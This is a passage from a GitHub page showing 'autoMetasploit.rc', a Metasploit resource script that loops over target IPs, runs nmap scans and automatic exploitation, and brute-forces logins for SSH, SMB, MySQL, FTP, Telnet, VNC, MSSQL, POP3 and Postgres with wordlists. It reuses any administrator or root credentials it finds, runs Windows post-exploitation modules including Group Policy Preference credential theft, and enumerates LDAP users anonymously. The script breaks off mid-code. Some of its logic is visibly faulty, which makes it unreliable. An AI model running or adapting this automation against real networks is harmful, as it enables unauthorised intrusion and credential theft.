-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathautoMetasploit.rc
executable file
·980 lines (896 loc) · 31.2 KB
/
autoMetasploit.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
<ruby>
# Scan loop on all IPs
# To do most of job, install pentest plugin first
# Install my reportEmail plugin to send PDF reports to email
# mkdir –p $HOME/.msf4/plugins
# cd $HOME/.msf4/plugins
# wget https://raw.github.com/darkoperator/Metasploit-Plugins/master/pentest.rb
path='/root/IPs.txt'
ip=''
remains=''
line=''
each=''
before=''
userfile=nil
$ADMUSER=''
$ADMPASS=''
$sshuser = []
$sshpass = []
$mysuser = []
$myspass = []
$smbuser = []
$smbpass = []
$ftpuser = []
$ftppass = []
$teluser = []
$telpass = []
$vncuser = []
$vncpass = []
$sqluser = []
$sqlpass = []
$popuser = []
$poppass = []
$psqluse = []
$psqlpas = []
# Defines LHOST from attacker's machine
ip = %x|hostname -I|
run_single("setg LHOST #{ip}")
# Defines number of threads on brute force
cores = %x|nproc --all|
# Function to get users input on Metasploit
def getin()
return $stdin.readline
end
# Function to decode base64 strings on report
def decode64(target)
counter=''
decoded=''
escaped=''
counter = %x|xmlstarlet sel -t -v "count(//MetasploitV5/hosts/host/notes/note/data)" "/root/#{target}.xml"|
i=1
loop do
decoded = %x(xmlstarlet sel -T -t -v "//MetasploitV5/hosts/host/notes/note[#{i}]/data" "/root/#{target}.xml" | base64 -d)
escaped = decoded.gsub!(/[^\w\d\s[[:punct:]]]/, '')
escaped = escaped.gsub!(/"|{|[[:cntrl:]]/, ' ')
if ($?.exitstatus == 0)
print_line("#{escaped}")
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/notes/note[#{i}]/data" -v "#{escaped}" "/root/#{target}.xml"`
end
i += 1
break if ("#{i}" == "#{counter}")
end
end
# This function inserts any passwords found on brute force scans into report. For this, install xmlstarlet tool
def bruteforce()
run_single("db_export -f pwdump -a /root/pwdump.txt")
credssh=nil
credmys=nil
credsmb=nil
credftp=nil
credtel=nil
credvnc=nil
credsql=nil
credpop=nil
crepsql=nil
hassh = Hash.new
hamys = Hash.new
hasmb = Hash.new
haftp = Hash.new
hatel = Hash.new
havnc = Hash.new
hasql = Hash.new
hapop = Hash.new
hapsq = Hash.new
count=0
nextline=0
File.open("/root/pwdump.txt").each_line do |line|
nextline += 1
if (line =~ /[Ss][Ss][Hh]/)
hassh["credssh#{count}"] = nextline
count = count + 1
elsif (line =~ /[Mm][Yy][Ss][Qq][Ll]/)
hamys["credmys#{count}"] = nextline
count = count + 1
elsif (line =~ /[Mm][Yy][Ss][Qq][Ll]/ or line =~ /[Mm]icrosoft-[Dd][Ss]/ or line =~ /[Nn]etbios-[Ss][Ss][Nn]/)
hasmb["credsmb#{count}"] = nextline
count = count + 1
elsif (line =~ /[Ff][Tt][Pp]/)
haftp["credftp#{count}"] = nextline
count = count + 1
elsif (line =~ /[Tt]elnet/)
hatel["credtel#{count}"] = nextline
count = count + 1
elsif (line =~ /[Vv][Nn][Cc]/)
havnc["credvnc#{count}"] = nextline
count = count + 1
elsif (line =~ /[Mm][Ss][Ss]ql/)
hasql["credsql#{count}"] = nextline
count = count + 1
elsif (line =~ /[Pp][Oo][Pp]3/)
hapop["credpop#{count}"] = nextline
count = count + 1
elsif (line =~ /[Pp]ostgres/)
hapsq["crepsql#{count}"] = nextline
count = count + 1
end
end
file = File.readlines("/root/pwdump.txt")
if ("#{hassh.length}" != 0)
hassh.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$sshuser.push("#{wrd}")
else
$sshpass.push("#{wrd}")
end
end
end
end
if ("#{hamys.length}" != 0)
hamys.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$mysuser.push("#{wrd}")
else
$myspass.push("#{wrd}")
end
end
end
end
if ("#{hasmb.length}" != 0)
hasmb.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$smbuser.push("#{wrd}")
else
$smbpass.push("#{wrd}")
end
end
end
end
if ("#{haftp.length}" != 0)
haftp.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$ftpuser.push("#{wrd}")
else
$ftppass.push("#{wrd}")
end
end
end
end
if ("#{hatel.length}" != 0)
hatel.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$teluser.push("#{wrd}")
else
$telpass.push("#{wrd}")
end
end
end
end
if ("#{havnc.length}" != 0)
havnc.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$vncuser.push("#{wrd}")
else
$vncpass.push("#{wrd}")
end
end
end
end
if ("#{hasql.length}" != 0)
hasql.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$sqluser.push("#{wrd}")
else
$sqlpass.push("#{wrd}")
end
end
end
end
if ("#{hapop.length}" != 0)
hapop.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$popuser.push("#{wrd}")
else
$poppass.push("#{wrd}")
end
end
end
end
if ("#{hapsq.length}" != 0)
hapsq.each do |key, value|
file[value].split.each_with_index do |wrd, idx|
if ((idx) % 2 == 0)
$psqluse.push("#{wrd}")
else
$psqlpas.push("#{wrd}")
end
end
end
end
if ($?.success?)
File.delete("/root/pwdump.txt")
end
# If got admin credentials, define them as globals to future tests
if ("#{$smbuser.length}" != 0)
i=0
while "#{i}" <= "#{$smbuser.length}"
if ("#{$smbuser[i]}" =~ /[Aa]dministra\w+/)
$ADMUSER = "#{$smbuser[i]}"
$ADMPASS = "#{$smbpass[i]}"
break
end
i += 1
end
elsif ("#{$sshuser.length}" != 0)
i=0
while "#{i}" <= "#{$sshuser.length}"
if ("#{$sshuser[i]}" =~ /root/)
$ADMUSER = "#{$sshuser[i]}"
$ADMPASS = "#{$sshpass[i]}"
break
end
i += 1
end
end
end
# Insert any credentials found into XML temporary file report
def edtxml(target)
target="#{target}".chomp
if (! $sshuser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ssh/ssh_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ssh/ssh_login']["#{j}"]/module" -t elem -n password -v "#{$sshpass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ssh/ssh_login']["#{j}"]/username" -v "#{$sshuser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $sshuser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "/MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/ssh/ssh_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ssh/ssh_login']["#{j}"]/module" -t elem -n username -v "#{$sshuser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ssh/ssh_login']["#{j}"]/module" -t elem -n password -v "#{$sshpass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $sshuser.length)
break
end
end
end
end
if (! $mysuser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mysql/mysql_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mysql/mysql_login']["#{j}"]/module" -t elem -n password -v "#{$myspass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mysql/mysql_login']["#{j}"]/username" -v "#{$mysuser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $mysuser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/mysql/mysql_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mysql/mysql_login']["#{j}"]/module" -t elem -n username -v "#{$mysuser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mysql/mysql_login']["#{j}"]/module" -t elem -n password -v "#{$myspass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $mysuser.length)
break
end
end
end
end
if (! $smbuser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/smb/smb_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/smb/smb_login']["#{j}"]/module" -t elem -n password -v "#{$smbpass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/smb/smb_login']["#{j}"]/username" -v "#{$smbuser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $smbuser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/smb/smb_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/smb/smb_login']["#{j}"]/module" -t elem -n username -v "#{$smbuser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/smb/smb_login']["#{j}"]/module" -t elem -n password -v "#{$smbpass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $smbuser.length)
break
end
end
end
end
if (! $ftpuser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ftp/ftp_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ftp/ftp_login']["#{j}"]/module" -t elem -n password -v "#{$ftppass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ftp/ftp_login']["#{j}"]/username" -v "#{$ftpuser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $ftpuser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/ftp/ftp_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ftp/ftp_login']["#{j}"]/module" -t elem -n username -v "#{$ftpuser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/ftp/ftp_login']["#{j}"]/module" -t elem -n password -v "#{$ftppass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $ftpuser.length)
break
end
end
end
end
if (! $teluser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/telnet/telnet_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/telnet/telnet_login']["#{j}"]/module" -t elem -n password -v "#{$telpass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/telnet/telnet_login']["#{j}"]/username" -v "#{$teluser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $teluser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/telnet/telnet_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/telnet/telnet_login']["#{j}"]/module" -t elem -n username -v "#{$teluser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/telnet/telnet_login']["#{j}"]/module" -t elem -n password -v "#{$telpass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $teluser.length)
break
end
end
end
end
if (! $vncuser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/vnc/vnc_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/vnc/vnc_login']["#{j}"]/module" -t elem -n password -v "#{$vncpass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/vnc/vnc_login']["#{j}"]/username" -v "#{$vncuser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $vncuser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/vnc/vnc_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/vnc/vnc_login']["#{j}"]/module" -t elem -n username -v "#{$vncuser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/vnc/vnc_login']["#{j}"]/module" -t elem -n password -v "#{$vncpass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $vncuser.length)
break
end
end
end
end
if (! $sqluser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mssql/mssql_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mssql/mssql_login']["#{j}"]/module" -t elem -n password -v "#{$sqlpass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mssql/mssql_login']["#{j}"]/username" -v "#{$sqluser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $sqluser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/mssql/mssql_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mssql/mssql_login']["#{j}"]/module" -t elem -n username -v "#{$sqluser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/mssql/mssql_login']["#{j}"]/module" -t elem -n password -v "#{$sqlpass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $sqluser.length)
break
end
end
end
end
if (! $popuser.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/pop3/pop3_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/pop3/pop3_login']["#{j}"]/module" -t elem -n password -v "#{$poppass[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/pop3/pop3_login']["#{j}"]/username" -v "#{$popuser[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $popuser.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/pop3/pop3_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/pop3/pop3_login']["#{j}"]/module" -t elem -n username -v "#{$popuser[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/pop3/pop3_login']["#{j}"]/module" -t elem -n password -v "#{$poppass[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $popuser.length)
break
end
end
end
end
if (! $psqluse.empty?)
`xmlstarlet sel -t -v "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/postgres/postgres_login']/module" "/root/#{target}.xml"`
if ($?.exitstatus == 0)
i=0
j=1
loop do
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/postgres/postgres_login']["#{j}"]/module" -t elem -n password -v "#{$psqlpas[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -u "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/postgres/postgres_login']["#{j}"]/username" -v "#{$psqluse[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $psqluse.length)
break
end
end
else
i=0
j=1
loop do
`xmlstarlet ed -L -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts" -t elem -n "vuln_attempt" -v "" -s "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[last()]" -t elem -n "module" -v "auxiliary/scanner/postgres/postgres_login" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/postgres/postgres_login']["#{j}"]/module" -t elem -n username -v "#{$psqluse[i]}" "/root/#{target}.xml"`
`xmlstarlet ed -L -i "//MetasploitV5/hosts/host/vulns/vuln/vuln_attempts/vuln_attempt[module='auxiliary/scanner/postgres/postgres_login']["#{j}"]/module" -t elem -n password -v "#{$psqlpas[i]}" "/root/#{target}.xml"`
i += 1
j += 1
if (i == $psqluse.length)
break
end
end
end
end
end
# Windows services tests
def smb(target)
# define admin credentials as globals to post tests
if ( "#{$ADMUSER}" != '' && "#{$ADMPASS}" != '')
run_single("setg SMBUser = #{$ADMUSER}")
run_single("setg SMBPass = #{$ADMPASS}")
end
# smb_version determines the version of the SMB service that is running
run_single("setg RHOST #{target}")
run_single("use auxiliary/scanner/smb/smb_version")
run_single("run")
run_single("back")
# pipe_auditor determine what named pipes are available over SMB:
run_single("use auxiliary/scanner/smb/pipe_auditor")
run_single("run")
run_single("back")
# pipe_dcerpc_auditor return the DCERPC services that can be accessed via a SMB
run_single("use auxiliary/scanner/smb/pipe_dcerpc_auditor")
run_single("run")
run_single("back")
# smb2 determines if target supports the SMB2 protocol.
run_single("use auxiliary/scanner/smb/smb2")
run_single("run")
run_single("back")
# smb_enumshares enumerates any SMB shares available
run_single("use auxiliary/scanner/smb/smb_enumshares")
run_single("run")
run_single("back")
# smb_enumusers numerate the users on the target via SMB RPC service
run_single("use auxiliary/scanner/smb/smb_enumusers")
run_single("run")
run_single("back")
# smb_lookupsid brute-forces SID lookups on target to determine what local users exist the system
run_single("use auxiliary/scanner/smb/smb_lookupsid")
run_single("run")
run_single("back")
end
# After windows exploitation, enumerate his resources
def postenum()
if (framework.sessions.length <= 0)
# Enumerate all logged on users
run_single("use post/windows/gather/enum_logged_on_users")
run_single("set SESSION 1")
run_single("exploit")
run_single("back")
# Gather All Group Policy Preference
run_single("use post/windows/gather/credentials/gpp")
run_single("set SESSION 1")
run_single("exploit")
run_single("back")
# Find All Services in Server
run_single("use post/windows/gather/enum_services")
run_single("set SESSION 1")
run_single("exploit")
run_single("back")
# Find All Installed Applications in Server
run_single("use post/windows/gather/enum_applications")
run_single("set SESSION 1")
run_single("exploit")
run_single("back")
# Find All Remote Desktop Sessions
run_single("use post/windows/gather/enum_termserv")
run_single("set SESSION 1")
run_single("exploit")
run_single("back")
end
end
# wordlists
pathdefault = "/usr/share/metasploit-framework/data/wordlists/"
print_line("The user and password lists already been set, but you can adjust to yours...")
print_line("It defaults to #{pathdefault}{unix_users.txt,unix_passwords.txt}")
print_line("if so, just hit ENTER, else copy these files to that directory and just pass your names here.")
print_line("...then happy cracking!")
print_line("Users filename:")
user_file = getin
user_file = user_file.chomp
print_line("Passwords filename:")
pass_file = getin
pass_file = pass_file.chomp
if (user_file != '')
run_single("setg USER_FILE #{pathdefault}#{user_file}")
else
run_single("setg USER_FILE #{pathdefault}unix_users.txt")
end
if (pass_file != '')
run_single("setg PASS_FILE #{pathdefault}#{pass_file}")
else
run_single("setg PASS_FILE #{pathdefault}unix_passwords.txt")
end
# Start of scan
run_single("load reportEmail")
run_single("load pentest")
Dir.chdir('/root')
File.foreach(path) { |each|
File.open(path, 'r') {|file| line=file.gets; remains=file.read}
# Creating workspace
run_single("workspace -a #{line}")
run_single("workspace #{line}")
# Define target's IP
run_single("setg RHOSTS #{line}")
run_single("db_nmap #{line} -sS -O")
sleep 10
run_single("db_nmap -sU -P0 --max-retries 1 --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{line}")
sleep 10
run_single("discover_db -r #{line}/32")
run_single("vuln_exploit -j 1")
if ("#{before}" != '')
run_single("hosts -d #{before}")
end
before="#{line}"
# Test if we get some system users via LDAP or MS AD
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ll]inux/)
host.services.each do |serv|
if (serv.state == Msf::ServiceState::Open)
if (serv.port.to_i == 389)
# search for users via LDAP anonymous bind
# need the ldap-utils package
# it can't run within a function
shell = []
arr = []
names = []
str = nil
fmts = nil
org = nil
shell = %x|nmap -sV -p 389 --script ldap-rootdse #{line}|
shell.each_line do |line|
if (line =~ /namingContexts/)
str = line
fmts = "#{str}".squeeze(' ')
arr = fmts.split(" ")
org = arr[2]
print_line(org)
break
end
end
names = %x|ldapsearch -LLL -w '' -x -h "#{line}" -b "#{org}" dn|
print_line(names)
if ($?.success?)
names = names.gsub!("\n\n", "\n")
names = names.gsub!(/dn: uid=|cn=|,.*/) { '' }
if (names =~ /dn: /)
names.gsub!(/dn:.*\n/, '')
end
file = File.open("/root/uid.txt", "w")
file.puts(names)
file.close
end
end
end
end
else
host.services.each do |serv|
if (serv.state == Msf::ServiceState::Open)
if (serv.port.to_i == 389)
# search for users via LDAP anonymous bind,
# and if it don't succeed, try via anonymous kerberos service
shell = []
arr = []
names = []
str = nil
fmts = nil
org = nil
shell = %x|nmap -sV -p 389 --script ldap-rootdse #{line}|
shell.each_line do |line|
if (line =~ /namingContexts/)
str = line
fmts = "#{str}".squeeze(' ')
arr = fmts.split(" ")
org = arr[2]
print_line(org)
break
end
end
if ($?.success?)
map = {'DC=' => '', ',' => '.'}
